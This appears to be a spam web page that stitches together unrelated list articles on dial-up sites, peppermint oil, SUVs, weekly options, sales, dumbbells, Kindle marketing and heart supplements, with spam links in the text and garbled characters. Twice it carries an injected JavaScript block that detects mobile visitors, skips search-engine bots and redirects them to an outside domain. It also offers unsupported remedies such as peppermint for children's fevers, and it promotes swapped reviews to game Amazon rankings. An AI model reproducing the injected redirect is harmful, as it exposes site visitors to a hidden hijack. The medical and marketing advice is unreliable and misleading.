Get yourself a thesis old fashioned paper web-based for that review challenge
Acquiring a thesis on the internet is not so difficult, any learner can investigate for information on the net to put together an actual thesis. Continue reading
Get yourself a thesis old fashioned paper web-based for that review challenge
Acquiring a thesis on the internet is not so difficult, any learner can investigate for information on the net to put together an actual thesis. Continue reading
Top Ten Websites for Dial-up Users
1. Google.com. This website could win an award for most dial-up friendly. more details It is the plainest webpage you will find. There are no bulky images, advertisements, or banners that will take up your valuable time. Google is currently the top most used website worldwide, and offers countless free resources. The most popular feature, of course, is the search engine. You can look up any topic imaginable by entering a selection of keywords in the search bar. From teddy bears to the best hotels in France, Google has the answer waiting for you! They have spent years in the search engine business, and are constantly coming up with new ways to bring the most helpful, relevant, and useful websites at the front of their search results. Save even more time by clicking the “I’m feeling lucky” button. This will automatically direct you to the website of the number one search result Check our website for your search.
2. Gmail.com. This is the free email service provided by Google.com. As far as features and layout, it’s not much different from other free mail servers, like Yahoo Mail, and Hotmail. The reason this site is dial-up friendly is because it offers and “HTML Veiw”. Basically, it’s a easier to load version of the mail server. Dial-up users can enjoy the convenience of faster page loading.
3. Download.com. This is the quickest way to access countless downloads that you need for your computer and dial-up service. In fact, many times when you go to download something from another website, you are actually redirected to this site. You will save time by going straight here! Here’s a few downloads that most dial-up users look for:
*AVG Antivirus, the free version. Just head to the “Most Popular Downloads” section and you’ll find it at the top. This antivirus program is useful for anyone who wants a simple, quick, and easy Internet protection program. The download and the updates for AVG are smaller than other antivirus programs, so it’s not impossible to download http://www.moviestarplanethackcheatz.com/ them on a dial-up connection.
*Download managers. These handy programs help you with one of the biggest dial-up issues: Getting disconnected during a large download. There are several download managers available on Download.com that will help you avoid having to restart a download in the event of a disconnect.
4. Modemhelp.net. This site offers dozens of resources to dial-up users. It may be somewhat advanced for beginner computer users. This site lists common dial-up errors and some ways to fix the problem. It is used by dial-up technicians who assist dial-up customers with common (and the not so common) errors that can occur with dial-up.
5. Nextag.com. This website is a great resource for your dial-up service. Need a new modem? Search here for a variety of brands, prices, and features. You can even compare it’s price among sellers and pick the one that will be right for you!
6. Newegg.com. Here is a great resource for all your dial-up and computer needs. They offer great prices on modems, computer products, even games that are compatible with dial-up! This is a preferred site for many computer technicians.
7. Addictinggames.com. This is one of the largest collection of games online. Many of them are dial-up friendly. There are many categories to choose from.
8. GTDS.com. Another game site. This one has a link specifically for “dial-up friendly” games for a variety of games that are sure to play smoothly.
9. Bidz.com. Here’s a great site that works well with dial-up for all your unique shopping needs. Much like Ebay, this bidding site will add 30 seconds onto the clock after you place a bid so you won’t lose an auction from a slow page load.
10. Lite.Facebook.com. This click this site spinoff of the ever popular Facebook.com is a great way for you to keep up with your social networking on a dial-up connection. It’s pages are cleaner, with less add-ons and advertisements that clog your dial-up bandwidth. You can even view pictures faster on Facebook Lite. Everything is compressed and condensed that is perfect for dial-up.
Top 10 Speed Reading Comprehension Tips
1. Clarify your purpose.
A good understanding of what you already know and what you need out of the reading is the key to reading comprehension.
2. Look at the front book cover.
What information is the author giving you about the story? What does the title suggest? Why did she use this particular graphic on the cover? visit more information
3. Read familiar material.
When you first learn to Speed Read, use books and articles on subjects you have some familiarity with or subjects you have come across before but haven’t reviewed recently. Later on, you read here can challenge yourself with new material.
4. Make Predications.
Can you make love here any predictions about the story with the information you’ve already gathered?
5. What have the experts said about the book or author?
Look at the back cover. What are the comments being made by critics who’ve read the book? What other clues can you pick up?
6. Read the Table of Contents.
It’s an outline of the book.
7. Make sure you review the glossary.
If there are any terms that are unfamiliar to you memorize them.
8. Read the Introduction or Preface.
It gives you a good idea of where the author wants to take you.
9. Preview the book to make check more sure it’s what you are looking for.
Scan the headings and subheadings.
10. Read the topic sentences.
Remember that the first and last sentences of a paragraph give you the essence of that paragraph, especially when reading non-fiction.
Top 10 Uses For Peppermint Oil
Aaahhhhhhhhh, cool cool peppermint, soothing yet invigorating, cold yet hot. Don’t ever leave home without it! ( travel with your oils because that is when you need them most).
You’re all familiar with that crazy commercial – “Head On, apply it to the forehead, Head On…etc.”
Well, no need to run to the store;
I present to you your very own ‘head-on’ and ‘neck-on’ and ‘painful-joints-on’ product.
Beautiful peppermint essential oil.
Here is where peppermint really comes in handy:
* Headaches Yes, apply it to the forehead!, and the temples, behind the ears, base of the neck. Use only a small dab. Careful, close to the eyes it may make you tear. Wait a few minutes, lay down and rest for a bit and your headache will fade.
* Bad Breath – For ‘squeaky clean breath’ you only need to reach for the peppermint and put a drop on your tongue. Don’t forget to rub some on the gums too. Will kill bad breath bacteria.
* Canker Sores – A large number of the population silently suffer from these pesky sores in the mouth. Peppermint will help them heal faster and may improve the condition. A huge tip for you, start using Thieves Dentarome Ultra Toothpaste without SLS in it. Sodium Laurel Sulfate may be the cause of your problems. Be sure to research!
* Fevers – Especially helpful to break a fever in children. All read here that needs to be done is apply a drop of peppermint essential oil to the bottom of the feet. Follow with a pure vegetable oil and massage. Or put a drop in a basin of warm water to soak a washcloth in. Dab over the face and limbs.
* Stay Cool At The Picnic – Make a spray ahead of time with 10 drops of love here peppermint to 2 ounces of distilled water. Spray
as you please, especially behind the knees and on the inside of the arms. Serves doubly as an insect repellent! Be sure to pass it around the table.
* Ants – They absolutely hate the stuff! If you love to study ant behavior put a drop of peppermint in their path and watch them scatter and loose their buddies. Find their origin , and send them back outside.
* Lower Back Pain – For an aching lower back I always revert back to my simple peppermint plus a compress trick. You will be amazed more details at how a quick warm compress intensifies the actions of essential oils.
* Make Your Own Hard Candy – I only thought of this after I received several questions on the website. Can I use this peppermint oil in my recipes. Absolutely! I’d rather have this in my candy than an artificially flavored food additive. You will have to experiment a bit with the amount of drops to add.
* Get Skinny – Peppermint has been studied and found to help curb your appetite. Use it whenever you have cravings for sweets or unhealthy snacks. A drop on the tongue or inhaling from the palm of your hands will do. And last but not least:
* Breaking Wind, Use Peppermint! – Anything to do with the digestive check more system will benefit from this gracious oil. Rub on the stomach, belly or lower back area for relief of many gassy issues. When I speak of applying essential oils undiluted you must understand that only very pure, therapeutic grade oils are used. Please learn all you can about therapeutic use of oils at:
Disclaimer – The information provided here is for educational purposes only and is not intended as diagnosis, treatment, or prescription for any disease. The decision to use, or not to use, any of this information is the sole responsibility of the reader.
Top Ten Most Fuel-Efficient SUVs for 2006
Regardless of whether your mode of transportation is a Schwinn, a Hummer H1, or a pair of worn-out Nikes, fuel-prices are hitting your wallet just like the rest of us. Fact is, a rise in the cost of a barrel of crude means a jump in the cost of gas, which in turn means higher transport costs, which in turn means your local grocer is paying more for a load of produce and you&25262;e paying more for a head of lettuce, and your plumber is charging more to cover his increased overhead, not to mention the extra funds he needs to feed his family and put clothes on his kids?backs. When gas prices rise, everything else gets more expensive, and when cars start selling like hotcakes in rapidly expanding markets like China and India, demand usually dictates more pain at the pump.
This is especially painful for drivers who need a spacious and roomy vehicle such as SUVs, a ride that is typically unkind in its unquenchable thirst for petrol. Indeed, there are times when a Toyota Prius or a bus pass won&25264; do, so we&25267;e compiled a list of ten fuel-efficient, 2006 SUVs that are currently available, all boasting respectable EPA-rated fuel economy figures and more utility than a Little Red Wagon.
Each model on the list achieves at least 24 mpg in mixed driving when mated to an automatic transmission ?the transmission type most consumer choose ?and is ranked according to our editors?recommendations and personal choices. According to the EPA, nine of the vehicles get 25 mpg combined or better, so to make this a proper Top 10 list, we voted in our favorite member of the 24-mpg club to round things out. All EPA data is current as of April 2006.
1st Place
If the name RAV4 brings to mind a small, awkwardly-designed, underpowered cute &24969;te, it&25263; time to visit your Toyota dealer to reboot your impression of this capable SUV. Redesigned for 2006, the RAV4 still falls to the feminine side of the gender scale, but it presents a more upscale look compared to the 2005 model and makes the impressive original look like a http://www.moviestarplanethackcheatz.com/ shop-class experiment. Behind the sleek sheetmetal is a spacious cabin with seating for up to seven passengers, front- or all-wheel-drive capability, and a choice of powertrains. Base models, starting at a smidge below $22,000, are equipped with a 2.4-liter four-cylinder engine pushing tankionlinehackcrystalz.com/ 166 horsepower and 165 lb.-ft. of torque that&25263; mated to a four-speed automatic transmission. In front-wheel-drive guise, this fuel-efficient version returns an EPA-estimated 24 mpg city, 30 mpg highway, and 26 mpg combined; add four-wheel drive and those figures change to 23 mpg city, 28 mpg highway, and 25 mpg combined. In addition, the base price rises by $1,400 with 4WD.
If that was the end of the story, the 2006 Toyota RAV4 would appear as a competent SUV with impressive fuel efficiency, though a little light on power for some tastes. However, there&25263; more to this little &24969;te, like an available 3.5-liter V6 pushing 269 horsepower and 246 lb.-ft. of torque through a five-speed automatic transmission. Best of all, fuel economy closely mirrors that of the four-cylinder. With power going only to the front wheels, a RAV4 with the V6 check more is rated at 22 mpg city, 29 mpg highway, and 25 mpg combined; four-wheel-drive models are rated at 21 mpg city, 28 mpg highway, and 24 mpg combined. The base price of a four-wheel-drive Limited model with the six-cylinder engine is about $26,000, which makes the RAV4 about similar in price and economy click this site to the Honda CR-V despite more than 100 extra horsepower.
2nd Place – Honda CR-V 3rd Place – Honda&25263; Element 4th Place – Subaru Outback 5th Place – Ford Escape Hybrid 6th Place – Subaru Forester 7th Place – Lexus RX 400h 8th Place – Mercury Mariner Hybrid 9th Place – Toyota Highlander Hybrid 10th Place – Chevrolet HHRif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Top Five Reasons to Sell Weekly Call Options
An amazing income visit more information opportunity is now here with weekly call options. “Weeklys” come out every Thursday and expire the following Friday. There are no new Weeklys in the final week where the monthly options expire. You can just write the next week from the monthly list.
Although Weeklys have been around since 2005, it has only been since the summer of 2010 that the offerings have been expanded to include stocks and ETS like Apple, Amazon. Intel, Microsoft, Research in Motion, Cisco and Las Vegas Sands, to name a few. On the ETF side, there are QQQQ, GDL, GDX, USO, SLV and read here more, as well as the SPX and the OEX.
How Weeklys Super Size Your Trading Account
You Get to Sell 4 Times a Month!
Selling call options four times a month versus once is a pure gift. An experienced covered call writer can earn A LOT more premium. Doubling the monthlies in many cases is not unreasonable. Also, if you use a long-dated put for protection, this “insurance” can be paid for very fast due to more writes per month.
8 Days a Week Versus 30
Forecasting eight days instead of thirty is a piece of cake; it’s much easier to look at what is happening in the week ahead. One of the biggest complaints about covered call writing is what to do if the stock really runs up and you have to either forgo the love here increased gains over the call option strike you sold or buy back the call at a much higher price. If this happens, it’s a lot easier to adjust over one week and reset with a new trend the next week.
Accelerated Time Decay
Call writers depend on time decay. With Weeklys, time decay is greatly accelerated. There have been times that calls I sold on Thursday morning on introduction eroded over 30% by Monday’s close. How cool is that? You can write near-the-money calls or at-the-money-calls and collect the higher premiums due to the rapid time decay.
Skip Earnings Week and Relax
How many times have you crossed your legs and held your nose during earnings week? Well, now you can just sit it out. Weeklys offer the ultimate in flexibility. You can also trade the news that week before or after the event. Again, you can be in or out of the market weekly. THAT is flexible.
Selling Weekly Puts for Even More Premium
Weeklys offer an astonishing opportunity to super size returns by selling a naked put or a put spread (to limit check more risk and to use less margin) for more premium. Just follow normal put selling rules; sell below a strong support point, at least one strike out of the money and maybe more if the premiums are good.
It’s amazing how many experienced investors and fund managers do not know much about weekly options. The word is spreading. There is a lot to know about the various covered call writing strategies for up, down or sideways markets. The more you learn, the more you earn.
Top Ten Characteristics of Top Sales Producers (Part Nine)
Copyright (c) 2016 Mr. Inside Sales
These last two parts will focus on the one characteristic that is perhaps the most important of all. You’ll find this characteristic in ALL top performers, not just in top sales producers. You’ll see it in top athletes, actors, musicians, dancers, top business people, academics, etc.
All top producers have this quality in abundant amounts, and parts nine and ten will focus on how to develop, grow, protect, and maintain it within the sales arena. And here’s what it is:
“All top producers develop and maintain a positive, can and will do, attitude.”
Top Characteristic Part Nine: In order to develop and protect your positive attitude, the first thing you need to do is resign from the company club.
What I mean by this is that you have to stay away from the group of sales people in your office who do nothing but grumble about how bad or unfair things are in your company or about how bad the economy or industry is.
You know what and who I’m talking about. You usually find them congregating in the break room or hallway or warehouse, or they are outside smoking cigarettes or waiting for the food truck. Every company has them, and they are poison for your career and your life.
This “company club” can be made up of average sales people or a mix of under producers and unhappy managers who feel they deserve more, or even above average sales people who think they should be treated better.
They grumble and talk negatively about any and everything: The leads are bad Check our website or marketing is doing a crappy job, or the good leads are being given to the top producers only. They grumble about the product, or the pricing of the product, or the warranty or durability. They grumble about their office environment, the phone system, the computers or their desks and noise level. They grumble about the commission structure or the salary or benefits, or the bonuses they did or didn’t get.
They are lazy and set a low standard and drag everyone who will let them down to their level. Instead of focusing on solutions or on making things work, they look for reasons why a new sales campaign or lead source won’t work. They are a cancer to all companies, and they are especially deadly to you and your sales attitude.
The answer? Resign from their club.
When I was a bottom 80% producer, I used to love the club. Every morning the club would meet in the kitchen to eat the free donuts or bagels the company provided. Were we grateful and thankful for the free food and coffee? No. If they gave us bagels, where was the salmon? If they brought donuts, where were the bagels?
And once we poured our coffee and started in on the free food, we’d start in on the leads, or the industry, or the company or on how the top producers always got preferential treatment. We grumbled our way through the food, grumbled our way back to our desks, and grumbled our way through lunch.
If we missed a sale, we’d reconvene in the break room to talk about how we could never sell this stuff with all the things that were wrong with it. How in the world did they expect us to be competitive if they were going to put out such trash? And the leads! On and on we would go until it was finally time to go home. And then we’d grumble to our wives or husbands…
Everything changed, though, when I made http://www.moviestarplanethackcheatz.com/ a commitment to become a top producer. Once I had, the first thing I did was resign from the company club.
Instead of commiserating with the club, I’d arrive at the office an hour early and start cold calling or closing leads I had set up the night before. When the club finally wandered in, I usually already had a deal on the board and was going for another one. I declined invitations to go to lunch with them, and instead I ate at my desk.
When the club members came over to my desk during work hours, I didn’t stop calling to talk with them. Instead, I tankionlinehackcrystalz.com/ went right on calling and working. They soon got the hint. When they tried to engage me in the breakroom, I was pleasant but told them I had to meet my call quota and wanted to get back to work. After a while, they left me alone.
What was interesting is that I noticed that the other top producers acted the same way I now did. They were the ones who also came in early and left late. They were the ones who were more focused on working than they were chatting, and if they did want to talk, it was usually to strategize a better way of closing a deal. I almost never heard them grumble or talk bad about the company or the industry or the market.
The top producers (of which check here group I began a part) were more interested in finding ways to succeed and exceed quota. They didn’t mind working harder, or getting help or leveraging management’s or each other’s experience. When we spoke with each other, it was usually to challenge one another to do better. We competed in a positive way to up each other’s game. We shared resources and closing techniques.
What I found is that we had our own club, but it was lightly attended because we had work to do. On those occasions when we did get together, it was to talk about better things like what neighborhood we were moving into, or whether we liked Mercedes or BMW better, or how we were setting up our retirement accounts. These were not the kinds of subjects that were ever discussed in the company club.
What I find even now as a consultant is that all the companies I work with have a company club. When I’m onsite, I can see them gathering and chit chatting. I also see the top producers at their desks working away. I’ve found that top producers are usually loners who are always working, always looking for ways to improve. At the end of my training, the company club members thank me politely and then head off to the break room to talk about what a waste of time the training was.
The top producers, however, are in the training room picking my brain for a new technique or to discuss one of the scripts or closes I’ve developed for them. They are thirsty for information and you can see the commitment on their faces. They are top producers who are always looking for a way to up their game.
So the question for you is: Are you a part of the company club in your office? If so, then resign today and start finding ways to build your attitude rather than spending your time ripping it down. And you can begin building it up by following Top Characteristic Number Ten.
Top 16 Dumbbell Exercises Part 1
If you are reading this now there is a very good chance you are bright enough to have been educating yourself via reading multiple articles that will help you reach your goal. Most likely you have seen 100 different ways to get the results you are looking for. Is that true? The reason you see so many things out there is that there are “many ways to skin a cat.” I’m not sure why we use that saying, but hey! There it is and it still rings true. The moment someone tells you their way is THE “right way” or “only way” RUN! Truth be told, there are many paths to reach your goal. The real question is which one you enjoy the most and will get you there the quickest?
I have been training for nearly 20 years consistently. During those 20 years I have done many types of training: Weight Training, Karate, Judo, Sprinting, Plyometrics, Distance Running, Football Drills Etc. When it is all said and done my favorite type of training is either Weight Training or Karate. One thing I notice though is every Dojo is different whereas every dumbbell feels familiar. This being the case I am CONSTANTLY hitting the weights. Though I still sprinkle in the different types of working out, I build my training around my Primary Training Interest. You may or may not share the same level of interest with Weight Training as I do. Either way, the importance of weight training is undeniable!
Weight training will increase lean muscle, increase metabolism, increase bone density, increase sense of well-being, increase vitality, decrease fat just to name a few benefits. Would you agree these are good? I’m pretty sure you do! So what is one of the best ways to accomplish all of this in a minimal amount of space? Again per usual there are a multitude of options; however, one of my favorites is via Weight Training with Dumbbells.
Dumbbells offer an excellent form of resistance, take Check our website up little space and can be used for a monstrous number of exercises. In fact there are so many possible exercises that what I want to do is break that huge number down to the most effective ones. Sure variations are great, but let’s cut to the chase and narrow down the scope a bit for fast and noticeable results. I struggled with “number” of best exercises with dumbbells, but landed on SIXTEEN. There are TONS more and unlimited possibilities in training reps, sets, pace etcetera: but, these 16 are perfect for Full Body Development in a Minimal Space with Minimal Equipment.
All that you need to complete all the exercises to come are a Set of Dumbbells, a Dumbbell Rack (to keep them orderly) and an Adjustable Bench. There are a lot of possibilities out there, but the best ones can provide you the following features and use these your advantage.
– Workbench Capacity: 600 lbs.
– Workbench Functionality: Multiple Settings (decline, flat, incline, upright)
– Workbench Future Functionality: A variety of Attachments are available to expand later
– Dumbbell Rack: Holds 6-8 Sets of Dumbbells depending on Size of Dumbbells
I worked out with and trained multiple clients achieving great results with this minimalist configuration: Adjustable Bench/Dumbbells.
You still with me? Okay, time to get into how to build the body you have always wanted with the Top 16 Dumbbell Exercises. Though full-body movements are fine, to BUILD and SCULPT the physique you want these following movements are necessary.
CHEST
Let’s start with Carving an awe inspiring Chest of Granite! The first two of the 16 exercises are for the chest.
1. The Dumbbell Bench Press. Exercise numero uno is a crowd pleaser. This is a true classic and is the base compound movement to build a solid chest. The Pecs are hammered via this tired and true movement that has shaped bodies for decades. Using the Multibench you can also do a number of variations of this basic love here movement. A Decline Bench Press helps to “shelf up” the chest bringing out the sharper underline of the pec. An Incline variation helps fill out the Upper Chest. This movement with these variations builds solid mass in the full pec.
2. The Dumbbell Chest Fly. This exercise is awesome for putting extra emphasis on slashing up the chest. A lighter weight is used for this in comparison to the Press; however, Incline and Decline variations are also beneficial for full Pectoral development. The combination of Bench share here Press and Fly movements with variations of Incline, Flat and decline will result in great chest.
SHOULDERS
One of the best ways to improve the V-Taper of your physique is by adding width and shape to your shoulders. This also makes the arms look that much more impressive. The area where the arm meets the shoulder just looks incredible when you take the time to develop the delts as needed. The shoulders are so important in physique development that I have dedicated 5 of the 16 exercises to them. So what exercises are best for this development?
3. Dumbbell Shoulder Press. This movement is a popular compound movement that engages the entire shoulder. Variations such as the Arnold Press are a way to add some spice more details to the movement for additional results. However you look at it though, a solid compound movement where you’re lifting serious weight is a great way to pack on lean mass.
(Compound Movement: A lift involving movement in 2 or more joints. i.e.: Shoulder Press active joints: shoulder and elbow)
4. Dumbbell Upright Row. This exercise is also a compound movement. You can move considerable weight and spark large muscle gains with the Upright Row. Also hit during this exercise are the Traps. That being said, check out #5
5. Dumbbell Shrugs. This is more of a Trap focused movement. You know how powerful a strong set of traps looks. Upright rows and Shrugs are the quickest way to get them. Traps are great but you want to put a large amount of focus on the “shoulder caps.” This is where #6 and #7 come into play.
6. Dumbbell Front Raises. With the Front Raise you can do them simultaneously or in alternating fashion. The key here is to DO THEM! This movement adds roundness and fullness to the front side of your shoulder. Though the front side of the shoulder needs work it is imperative to focus on the outer and rear portions to develop a FULL SHOULDER. #7 and #7a will help with that.
7. Dumbbell Side Raises. This is a basic movement putting all possible emphasis on the outer portion of the shoulder. When done consistently and with intensity you will see width and roundness added to your shoulders. What does that mean? A better V-Taper.
7 a. Variation of the Side Raise. Simply bend forward at the waist and pull the movement towards the back. AKA the Rear Fly. This is the best way to isolate the Rear Delt. This area is SO OFTEN neglected, but it really gives the shoulder the ultimate look! (Why not have 17 exercises making this exercise #8 instead of listing this Variation as 7A you ask?) Good Question! Moving on…
BACK
I would be amiss if I didn’t get into back training movements in this TOP 16 list. Training all Chest and Biceps is a great way to create an imbalanced physique and injure yourself. Working on balancing your body will result in a better look and stronger body. So what do you do for your back?
8. Dumbbell Row. As the Bench Press is to the Chest, the Row is to the BACK! You thought you were done with those types of questions once you took the SAT or ACT right? Well it’s back! The point is the ROW is Tried and True. It is one of the greatest exercises for Back Development both for lats and rhomboids. Single Arm or Double Arm Rows are both possible. You can do variations with elbows in or out. You can adjust your hand position (which way your palms are facing [in, back or out]). All of these variations keep the row interesting and stimulate extreme muscle growth. Whatever you do, for your physiques shape, ROW!
Top Tip For Successful Kindle Publishing
In order to be a top Kindle more details publisher you must be a top Kindle Marketer. Solid marketing is the only way to make money with any business. It holds true for Kindle Publishing as well. What do successful Kindle publisher do to rocket their books straight to the top of the charts at Amazon? I can tell you where they start.
At Kindle Facebook groups. That is where it begins. It is key to kicking off a successful book marketing campaign. My top tip describes the all important first www.moviestarplanethackcheatz.com/moviestarplanethack/ step.
Writers who buy a book on Kindle Marketing at places like Warriors Forum sometimes find themselves invited to a private Facebook group based on their purchase. And when they join they find a community of successful publishers already in place busy at work driving each others books straight to the top.
Simply, they make their publication at Amazon available to all group members for a short time for $0.99. Interested group members buy the book, review it, agree with some of the tags, and in return, the same thing is done for share this website them. The $0.99 purchase is seen by the system at Amazon as a sale, and that causes the book to rise higher in the Amazon sales rank. When enough good reviews and sales are noted the book also starts showing at the top of the search results page when someone does a search for books on the general topic. At that point the authors of the Facebook group raise the price back up to what they want to get for their book. It is the beauty of simplicity. It is brilliant.
There is another similar thing these marketers do to drive sales. They purchase gift cards for a few dollars above the cost of read more their book and send it to a best selling author at Amazon. After introducing themselves to the best selling writer they say they have bought his book and posted a review and ask him to do the same for them. Knowing the value of good marketing, the best selling author is often happy to agree. If so, his review of the group member’s book is put on the list of books shown to have been reviewed by the him. Because he has lots of readers who respect his opinion the group member’s book gets more traffic, more reviews, more rank, and more sales. This all works together for success.
If you want to crush it as a Kindle publisher, be a savvy Kindle Marketer. Join a Kindle Facebook group and get going. At the group you will get lots of other tried and true techniques for successful marketing.
Best of success to you!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Top 10 natural supplements for heart visit more information health
Give your heart health some attention! The heart is like your engine room, pumping nutrient-and-oxygen-rich blood throughout the body and beating 100,000 times a day. That’s almost 40 million times a year. So if you don’t treat your heart right, with daily activity, good food and exercise – and natural heart health supplements – you could be setting yourself up for trouble.
When it comes to your health, heart more information disease is like public enemy No. 1. read here It’s the top killer of men and women worldwide. And I’m sure our sedentary fast-food culture share here in America isn’t doing us any favors.
There are routine prescription medications to reduce the risk factors and control blood pressure, but they can be expensive and come with serious side effects. People are always asking me what natural heart health supplements they should be taking on a regular basis. There are a number of natural remedies for heart to be on the lookout for, and I’ve rounded up the top 10 to get you started.
1. Omega-3 fatty acids
Fat is not the dietary villain it used to be cast as. While you don’t want too much of the saturated kind found in butter, cheese and red meat, you do want to consume omega-3 fatty acids that are essential nutrients for health – for things like blood clotting and building cell membranes in the brain. Two crucial ones, EPA and DHA, are found primarily in certain fish, especially oily fish like salmon, tuna, mackerel and lake trout.
